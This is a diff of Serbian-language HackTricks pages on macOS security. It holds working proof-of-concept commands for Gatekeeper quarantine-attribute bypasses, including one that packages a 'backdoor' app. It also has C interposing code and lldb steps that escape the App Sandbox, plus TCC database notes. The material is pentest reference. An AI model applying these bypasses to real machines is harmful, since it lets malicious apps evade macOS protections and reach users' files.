Čak i ako su komponente različite, iskorišćavanje ove ranjivosti je vrlo slično prethodnoj. U ovom slučaju ćemo generisati Apple arhiv iz **`application.app/Contents`** tako da **`application.app` neće dobiti karantinski atribut** kada se dekompresuje pomoću **Archive Utility**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
aa archive -d test.app/Contents -o test.app.aar
|
aa archive -d test.app/Contents -o test.app.aar
|
||||||
```
|
```
|
||||||
|
|
||||||
Proverite [**originalni izveštaj**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) za više informacija.
|
Proverite [**originalni izveštaj**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) za više informacija.
|
||||||
|
|
||||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||||
|
|
||||||
ACL **`writeextattr`** može se koristiti da se spreči bilo ko da upiše atribut u datoteku:
|
ACL **`writeextattr`** može se koristiti da se spreči bilo ko da upiše atribut u datoteku:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
touch /tmp/no-attr
|
touch /tmp/no-attr
|
||||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||||
xattr -w attrname vale /tmp/no-attr
|
xattr -w attrname vale /tmp/no-attr
|
||||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||||
```
|
```
|
||||||
|
|
||||||
Osim toga, **AppleDouble** format datoteke kopira datoteku zajedno sa njenim ACE-ovima.
|
Osim toga, **AppleDouble** format datoteke kopira datoteku zajedno sa njenim ACE-ovima.
|
||||||
|
|
||||||
U [**izvornom kodu**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) je moguće videti da se ACL tekstualna reprezentacija koja je smeštena unutar xattr-a nazvanog **`com.apple.acl.text`** će biti postavljena kao ACL u dekompresovanoj datoteci. Dakle, ako ste kompresovali aplikaciju u zip datoteku sa **AppleDouble** formatom datoteke sa ACL-om koji sprečava pisanje drugih xattr-a na nju... karantinski xattr nije postavljen u aplikaciji:
|
U [**izvornom kodu**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) je moguće videti da se ACL tekstualna reprezentacija koja je smeštena unutar xattr-a nazvanog **`com.apple.acl.text`** će biti postavljena kao ACL u dekompresovanoj datoteci. Dakle, ako ste kompresovali aplikaciju u zip datoteku sa **AppleDouble** formatom datoteke sa ACL-om koji sprečava pisanje drugih xattr-a na nju... karantinski xattr nije postavljen u aplikaciji:
|
||||||
|
@ -378,17 +368,19 @@ python3 -m http.server
|
||||||
Proverite [**originalni izveštaj**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) za više informacija.
|
Proverite [**originalni izveštaj**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) za više informacija.
|
||||||
|
|
||||||
Imajte na umu da se ovo takođe može iskoristiti pomoću AppleArchives:
|
Imajte na umu da se ovo takođe može iskoristiti pomoću AppleArchives:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mkdir app
|
mkdir app
|
||||||
touch app/test
|
touch app/test
|
||||||
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
||||||
aa archive -d app -o test.aar
|
aa archive -d app -o test.aar
|
||||||
```
|
```
|
||||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
|
||||||
|
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||||
|
|
||||||
Otkriveno je da **Google Chrome nije postavljao atribut karantina** na preuzete datoteke zbog nekih internih problema u macOS-u.
|
Otkriveno je da **Google Chrome nije postavljao atribut karantina** na preuzete datoteke zbog nekih internih problema u macOS-u.
|
||||||
|
|
||||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||||
|
|
||||||
Formati datoteka AppleDouble čuvaju atribute datoteke u posebnoj datoteci koja počinje sa `._`, što pomaže u kopiranju atributa datoteke **između macOS mašina**. Međutim, primijećeno je da nakon dekompresije AppleDouble datoteke, datoteka koja počinje sa `._` **nije dobila atribut karantina**.
|
Formati datoteka AppleDouble čuvaju atribute datoteke u posebnoj datoteci koja počinje sa `._`, što pomaže u kopiranju atributa datoteke **između macOS mašina**. Međutim, primijećeno je da nakon dekompresije AppleDouble datoteke, datoteka koja počinje sa `._` **nije dobila atribut karantina**.
|
||||||
|
|
||||||
|
@ -405,6 +397,7 @@ aa archive -d test/ -o test.aar
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Moguće je bilo zaobići Gatekeeper tako što se napravi datoteka koja neće imati postavljen atribut karantina. Trik je bio da se napravi aplikacija DMG datoteke koristeći AppleDouble konvenciju imena (početi sa `._`) i napraviti vidljivu datoteku kao simboličku vezu ka ovoj skrivenoj datoteci bez atributa karantina. Kada se izvrši DMG datoteka, pošto nema atribut karantina, zaobići će Gatekeeper.
|
Moguće je bilo zaobići Gatekeeper tako što se napravi datoteka koja neće imati postavljen atribut karantina. Trik je bio da se napravi aplikacija DMG datoteke koristeći AppleDouble konvenciju imena (početi sa `._`) i napraviti vidljivu datoteku kao simboličku vezu ka ovoj skrivenoj datoteci bez atributa karantina. Kada se izvrši DMG datoteka, pošto nema atribut karantina, zaobići će Gatekeeper.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Create an app bundle with the backdoor an call it app.app
|
# Create an app bundle with the backdoor an call it app.app
|
||||||
|
|
||||||
|
@ -420,20 +413,11 @@ ln -s ._app.dmg s/app/app.dmg
|
||||||
echo "[+] compressing files"
|
echo "[+] compressing files"
|
||||||
aa archive -d s/ -o app.aar
|
aa archive -d s/ -o app.aar
|
||||||
```
|
```
|
||||||
### Sprječavanje karantenskog xattr-a
|
|
||||||
|
#### Sprječavanje karantenskog xattr-a
|
||||||
|
|
||||||
U paketu ".app" ako karantenski xattr nije dodan, prilikom izvršavanja **Gatekeeper neće biti pokrenut**.
|
U paketu ".app" ako karantenski xattr nije dodan, prilikom izvršavanja **Gatekeeper neće biti pokrenut**.
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
|
||||||
|
|
||||||
* Ako želite vidjeti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** provjerite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Podijelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -77,18 +77,21 @@ Ako iz Sandbox procesa uspete da **ugrozite druge procese** koji se izvršavaju
|
||||||
[**Ovo istraživanje**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) je otkrilo 2 načina zaobilaženja Sandbox-a. Budući da se Sandbox primenjuje iz userland-a kada se učita biblioteka **libSystem**. Ako bi binarna datoteka mogla izbeći njeno učitavanje, nikada ne bi bila stavljena u Sandbox:
|
[**Ovo istraživanje**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) je otkrilo 2 načina zaobilaženja Sandbox-a. Budući da se Sandbox primenjuje iz userland-a kada se učita biblioteka **libSystem**. Ako bi binarna datoteka mogla izbeći njeno učitavanje, nikada ne bi bila stavljena u Sandbox:
|
||||||
|
|
||||||
* Ako je binarna datoteka **potpuno statički kompajlirana**, mogla bi izbeći učitavanje te biblioteke.
|
* Ako je binarna datoteka **potpuno statički kompajlirana**, mogla bi izbeći učitavanje te biblioteke.
|
||||||
* Ako binarna datoteka ne bi trebala da učitava bilo koje biblioteke (jer je i linkera u libSystem), neće morati da učitava libSystem. 
|
* Ako binarna datoteka ne bi trebala da učitava bilo koje biblioteke (jer je i linkera u libSystem), neće morati da učitava libSystem.
|
||||||
|
|
||||||
### Shell kodovi
|
### Shell kodovi
|
||||||
|
|
||||||
Imajte na umu da **čak i shell kodovi** na ARM64 moraju biti povezani sa `libSystem.dylib`:
|
Imajte na umu da **čak i shell kodovi** na ARM64 moraju biti povezani sa `libSystem.dylib`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ld -o shell shell.o -macosx_version_min 13.0
|
ld -o shell shell.o -macosx_version_min 13.0
|
||||||
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ovlašćenja
|
### Ovlašćenja
|
||||||
|
|
||||||
Imajte na umu da čak i ako su neke **radnje** dozvoljene u **pesku**, ako aplikacija ima određeno **ovlašćenje**, kao što je:
|
Imajte na umu da čak i ako su neke **radnje** dozvoljene u **pesku**, ako aplikacija ima određeno **ovlašćenje**, kao što je:
|
||||||
|
|
||||||
```scheme
|
```scheme
|
||||||
(when (entitlement "com.apple.security.network.client")
|
(when (entitlement "com.apple.security.network.client")
|
||||||
(allow network-outbound (remote ip))
|
(allow network-outbound (remote ip))
|
||||||
|
@ -98,15 +101,17 @@ Imajte na umu da čak i ako su neke **radnje** dozvoljene u **pesku**, ako aplik
|
||||||
(global-name "com.apple.cfnetwork.cfnetworkagent")
|
(global-name "com.apple.cfnetwork.cfnetworkagent")
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Interpost Bypass
|
### Interpost Bypass
|
||||||
|
|
||||||
Za više informacija o **Interpostingu** pogledajte:
|
Za više informacija o **Interpostingu** pogledajte:
|
||||||
|
|
||||||
{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
|
{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %}
|
||||||
[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
|
[macos-function-hooking.md](../../../macos-proces-abuse/macos-function-hooking.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
#### Interpostujte `_libsecinit_initializer` da biste sprečili sandbox.
|
#### Interpostujte `_libsecinit_initializer` da biste sprečili sandbox.
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||||
|
|
||||||
|
@ -130,6 +135,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||||
_libsecinit_initializer called
|
_libsecinit_initializer called
|
||||||
Sandbox Bypassed!
|
Sandbox Bypassed!
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Interpost `__mac_syscall` da biste sprečili Sandbox
|
#### Interpost `__mac_syscall` da biste sprečili Sandbox
|
||||||
|
|
||||||
{% code title="interpose.c" %}
|
{% code title="interpose.c" %}
|
||||||
|
@ -165,6 +171,7 @@ __attribute__((used)) static const struct interpose_sym interposers[] __attribut
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||||
|
|
||||||
|
@ -176,18 +183,21 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
|
||||||
__mac_syscall invoked. Policy: Sandbox, Call: 4
|
__mac_syscall invoked. Policy: Sandbox, Call: 4
|
||||||
Sandbox Bypassed!
|
Sandbox Bypassed!
|
||||||
```
|
```
|
||||||
|
|
||||||
### Debugiranje i zaobilaženje Sandbox-a pomoću lldb-a
|
### Debugiranje i zaobilaženje Sandbox-a pomoću lldb-a
|
||||||
|
|
||||||
Kompajlirajmo aplikaciju koja bi trebala biti sandboxirana:
|
Kompajlirajmo aplikaciju koja bi trebala biti sandboxirana:
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="sand.c" %}
|
{% tab title="undefined" %}
|
||||||
```c
|
```c
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
int main() {
|
int main() {
|
||||||
system("cat ~/Desktop/del.txt");
|
system("cat ~/Desktop/del.txt");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="entitlements.xml" %}
|
{% tab title="entitlements.xml" %}
|
||||||
```xml
|
```xml
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -197,10 +207,8 @@ system("cat ~/Desktop/del.txt");
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
{% tab title="Info.plist" %}
|
|
||||||
|
|
||||||
Info.plist
|
## Info.plist
|
||||||
==========
|
|
||||||
|
|
||||||
Info.plist je XML datoteka koja sadrži informacije o aplikaciji na macOS platformi. Ova datoteka se koristi za konfigurisanje različitih aspekata aplikacije, uključujući i postavke sandboxa.
|
Info.plist je XML datoteka koja sadrži informacije o aplikaciji na macOS platformi. Ova datoteka se koristi za konfigurisanje različitih aspekata aplikacije, uključujući i postavke sandboxa.
|
||||||
|
|
||||||
|
@ -212,11 +220,10 @@ Info.plist datoteka se nalazi unutar aplikacijskog paketa i može se uređivati
|
||||||
|
|
||||||
Uz to, Info.plist datoteka može sadržati i druge informacije o aplikaciji, kao što su verzija, identifikator paketa, ikona aplikacije i drugi metapodaci.
|
Uz to, Info.plist datoteka može sadržati i druge informacije o aplikaciji, kao što su verzija, identifikator paketa, ikona aplikacije i drugi metapodaci.
|
||||||
|
|
||||||
---
|
***
|
||||||
|
|
||||||
**Napomena**: Info.plist datoteka je važan deo konfiguracije aplikacije u sandbox okruženju. Uredjivanje ove datoteke može imati značajan uticaj na sigurnost i funkcionalnost aplikacije, stoga je važno biti pažljiv prilikom izmena.
|
**Napomena**: Info.plist datoteka je važan deo konfiguracije aplikacije u sandbox okruženju. Uredjivanje ove datoteke može imati značajan uticaj na sigurnost i funkcionalnost aplikacije, stoga je važno biti pažljiv prilikom izmena.
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```xml
|
```xml
|
||||||
<plist version="1.0">
|
<plist version="1.0">
|
||||||
<dict>
|
<dict>
|
||||||
|
@ -247,12 +254,14 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Aplikacija će pokušati **pročitati** datoteku **`~/Desktop/del.txt`**, što **Sandbox neće dozvoliti**.\
|
Aplikacija će pokušati **pročitati** datoteku **`~/Desktop/del.txt`**, što **Sandbox neće dozvoliti**.\
|
||||||
Kreirajte datoteku tamo jer će, jednom kada se Sandbox zaobiđe, moći je pročitati:
|
Kreirajte datoteku tamo jer će, jednom kada se Sandbox zaobiđe, moći je pročitati:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
||||||
```
|
```
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Hajde da debagujemo aplikaciju da vidimo kada se učitava Sandbox:
|
Hajde da debagujemo aplikaciju da vidimo kada se učitava Sandbox:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Load app in debugging
|
# Load app in debugging
|
||||||
lldb ./sand
|
lldb ./sand
|
||||||
|
@ -329,6 +338,7 @@ Process 2517 resuming
|
||||||
Sandbox Bypassed!
|
Sandbox Bypassed!
|
||||||
Process 2517 exited with status = 0 (0x00000000)
|
Process 2517 exited with status = 0 (0x00000000)
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**Čak i kada je Sandbox zaobiđen, TCC** će pitati korisnika da li želi da dozvoli procesu čitanje fajlova sa desktopa.
|
**Čak i kada je Sandbox zaobiđen, TCC** će pitati korisnika da li želi da dozvoli procesu čitanje fajlova sa desktopa.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -348,7 +358,7 @@ Drugi načini da podržite HackTricks:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -27,11 +27,13 @@ Korisnici se susreću sa TCC-om kada aplikacije zatraže pristup zaštićenim fu
|
||||||
Postoji **tccd u režimu korisnika** koji se pokreće po prijavljivanju korisnika, definisan u `/System/Library/LaunchAgents/com.apple.tccd.plist` registrovanjem mach servisa `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
|
Postoji **tccd u režimu korisnika** koji se pokreće po prijavljivanju korisnika, definisan u `/System/Library/LaunchAgents/com.apple.tccd.plist` registrovanjem mach servisa `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||||
|
|
||||||
Ovde možete videti tccd koji se izvršava kao sistem i kao korisnik:
|
Ovde možete videti tccd koji se izvršava kao sistem i kao korisnik:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ps -ef | grep tcc
|
ps -ef | grep tcc
|
||||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||||
```
|
```
|
||||||
|
|
||||||
Dozvole se **nasleđuju od roditeljske** aplikacije i **dozvole** se **prate** na osnovu **Bundle ID**-a i **Developer ID**-a.
|
Dozvole se **nasleđuju od roditeljske** aplikacije i **dozvole** se **prate** na osnovu **Bundle ID**-a i **Developer ID**-a.
|
||||||
|
|
||||||
### TCC Baze podataka
|
### TCC Baze podataka
|
||||||
|
@ -135,6 +137,7 @@ Proverom oba baze podataka možete proveriti dozvole koje je aplikacija dozvolil
|
||||||
<summary>Kako izvršiti ako je to apsolutna putanja</summary>
|
<summary>Kako izvršiti ako je to apsolutna putanja</summary>
|
||||||
|
|
||||||
Samo uradite **`launctl load you_bin.plist`**, sa plistom kao što je:
|
Samo uradite **`launctl load you_bin.plist`**, sa plistom kao što je:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -171,11 +174,13 @@ Samo uradite **`launctl load you_bin.plist`**, sa plistom kao što je:
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
* **`auth_value`** može imati različite vrednosti: denied(0), unknown(1), allowed(2), ili limited(3).
|
* **`auth_value`** može imati različite vrednosti: denied(0), unknown(1), allowed(2), ili limited(3).
|
||||||
* **`auth_reason`** može imati sledeće vrednosti: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
* **`auth_reason`** može imati sledeće vrednosti: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||||
* Polje **csreq** služi da naznači kako proveriti binarnu datoteku za izvršavanje i dodeliti TCC dozvole:
|
* Polje **csreq** služi da naznači kako proveriti binarnu datoteku za izvršavanje i dodeliti TCC dozvole:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Query to get cserq in printable hex
|
# Query to get cserq in printable hex
|
||||||
select service, client, hex(csreq) from access where auth_value=2;
|
select service, client, hex(csreq) from access where auth_value=2;
|
||||||
|
@ -191,6 +196,7 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
||||||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||||
echo "X'$REQ_HEX'"
|
echo "X'$REQ_HEX'"
|
||||||
```
|
```
|
||||||
|
|
||||||
* Za više informacija o **ostalim poljima** tabele [**proverite ovaj blog post**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
* Za više informacija o **ostalim poljima** tabele [**proverite ovaj blog post**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||||
|
|
||||||
Takođe možete proveriti **već dodeljene dozvole** aplikacijama u `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
|
Takođe možete proveriti **već dodeljene dozvole** aplikacijama u `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
|
||||||
|
@ -200,6 +206,7 @@ Korisnici _mogu_ **brisati ili upitati pravila** koristeći **`tccutil`**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### Resetovanje TCC dozvola
|
#### Resetovanje TCC dozvola
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# You can reset all the permissions given to an application with
|
# You can reset all the permissions given to an application with
|
||||||
tccutil reset All app.some.id
|
tccutil reset All app.some.id
|
||||||
|
@ -207,6 +214,7 @@ tccutil reset All app.some.id
|
||||||
# Reset the permissions granted to all apps
|
# Reset the permissions granted to all apps
|
||||||
tccutil reset All
|
tccutil reset All
|
||||||
```
|
```
|
||||||
|
|
||||||
### Provere potpisa TCC
|
### Provere potpisa TCC
|
||||||
|
|
||||||
TCC **baza podataka** čuva **Bundle ID** aplikacije, ali takođe **čuva** **informacije** o **potpisu** kako bi **proverila** da li aplikacija koja traži dozvolu za korišćenje određene funkcije je tačno ona koja tvrdi da jeste.
|
TCC **baza podataka** čuva **Bundle ID** aplikacije, ali takođe **čuva** **informacije** o **potpisu** kako bi **proverila** da li aplikacija koja traži dozvolu za korišćenje određene funkcije je tačno ona koja tvrdi da jeste.
|
||||||
|
@ -237,6 +245,7 @@ Na primer, **Telegram** ima ovlašćenje `com.apple.security.device.camera` da z
|
||||||
Međutim, da bi aplikacije **pristupile** određenim korisničkim fasciklama, kao što su `~/Desktop`, `~/Downloads` i `~/Documents`, **ne moraju** imati određena **ovlašćenja.** Sistem će transparentno upravljati pristupom i **pitati korisnika** po potrebi.
|
Međutim, da bi aplikacije **pristupile** određenim korisničkim fasciklama, kao što su `~/Desktop`, `~/Downloads` i `~/Documents`, **ne moraju** imati određena **ovlašćenja.** Sistem će transparentno upravljati pristupom i **pitati korisnika** po potrebi.
|
||||||
|
|
||||||
Apple-ove aplikacije **neće generisati prozore sa upitima**. One sadrže **unapred odobrena prava** na svojoj listi **ovlašćenja**, što znači da **nikada neće generisati iskačući prozor**, **niti** će se pojaviti u bilo kojoj od **TCC baza podataka.** Na primer:
|
Apple-ove aplikacije **neće generisati prozore sa upitima**. One sadrže **unapred odobrena prava** na svojoj listi **ovlašćenja**, što znači da **nikada neće generisati iskačući prozor**, **niti** će se pojaviti u bilo kojoj od **TCC baza podataka.** Na primer:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
[...]
|
[...]
|
||||||
|
@ -247,6 +256,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
<string>kTCCServiceAddressBook</string>
|
<string>kTCCServiceAddressBook</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
|
|
||||||
Ovo će sprečiti Kalendar da traži od korisnika pristup podsetnicima, kalendaru i adresaru.
|
Ovo će sprečiti Kalendar da traži od korisnika pristup podsetnicima, kalendaru i adresaru.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
|
@ -264,6 +274,7 @@ Neke TCC dozvole su: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePho
|
||||||
### Korisnička namera / com.apple.macl
|
### Korisnička namera / com.apple.macl
|
||||||
|
|
||||||
